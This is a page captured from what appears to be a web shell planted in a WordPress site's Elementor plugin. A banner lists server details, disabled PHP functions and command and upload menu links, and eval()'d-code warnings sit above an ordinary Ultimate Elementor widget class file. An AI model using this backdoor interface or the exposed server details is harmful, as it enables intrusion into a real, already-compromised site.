|
Server IP : 172.19.0.4 / Your IP : 216.73.216.172 Web Server : nginx/1.28.3 System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341 OFF Directory (0755) : /data1/wwwroot/sc-forklift.com/wp-content/plugins/ultimate-elementor/base/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* UAEL Common Widget.
*
* @package UAEL
*/
namespace UltimateElementor\Base;
use Elementor\Widget_Base;
use UltimateElementor\Classes\UAEL_Helper;
use Elementor\Controls_Manager;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Common Widget
*
* @since 0.0.1
*/
abstract class Common_Widget extends Widget_Base {
/**
* Get categories
*
* @since 0.0.1
*/
public function get_categories() {
return array( 'ultimate-elements' );
}
/**
* Get widget slug
*
* @param string $slug Module slug.
* @since 0.0.1
*/
public function get_widget_slug( $slug = '' ) {
return UAEL_Helper::get_widget_slug( $slug );
}
/**
* Get widget title
*
* @param string $slug Module slug.
* @since 0.0.1
*/
public function get_widget_title( $slug = '' ) {
return UAEL_Helper::get_widget_title( $slug );
}
/**
* Get widget icon
*
* @param string $slug Module slug.
* @since 0.0.1
*/
public function get_widget_icon( $slug = '' ) {
return UAEL_Helper::get_widget_icon( $slug );
}
/**
* Get widget keywords
*
* @param string $slug Module slug.
* @since 1.5.1
*/
public function get_widget_keywords( $slug = '' ) {
return UAEL_Helper::get_widget_keywords( $slug );
}
/**
* Is internal link
*
* @since 1.0.0
*/
public function is_internal_links() {
return UAEL_Helper::is_internal_links();
}
/**
* Presets control
*
* @param string $slug Widget slug.
* @param string $widget Widget name.
* @since 1.33.0
*/
public function register_presets_control( $slug, $widget ) {
if ( UAEL_Helper::is_widget_active( 'Presets' ) ) {
$options = array();
$options[''] = __( 'Default', 'uael' );
$presets_count = UAEL_Helper::get_widget_presets( $slug );
for ( $i = 1; $i <= $presets_count; $i++ ) {
// translators: %d Preset number.
$options[ 'preset-' . $i ] = sprintf( __( 'Preset %d', 'uael' ), $i );
}
$widget->start_controls_section(
'section_presets',
array(
'label' => __( 'Presets', 'uael' ),
'tab' => Controls_Manager::TAB_CONTENT,
)
);
$widget->add_control(
'presets_options',
array(
'label' => __( 'Choose Preset', 'uael' ),
'type' => 'uael-presets-select',
'options' => $options,
)
);
$widget->add_control(
'default_preset_note',
array(
'type' => Controls_Manager::RAW_HTML,
'raw' => sprintf(
/* translators: 1: <b> 2: </b> 3: </br> */
__( '%1$sNote:%2$s %3$s 1. Choosing a preset will reset all Style settings for this widget. %3$s 2. Choosing \'default\' option after switching between preset options will change the default view of the widget.', 'uael' ),
'<b>',
'</b>',
'</br>'
),
'content_classes' => 'uael-editor-doc',
)
);
$widget->end_controls_section();
}
}
}